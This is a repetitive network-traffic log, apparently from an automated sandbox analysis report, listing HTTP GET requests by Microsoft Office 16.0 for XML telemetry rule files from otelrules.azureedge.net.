Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
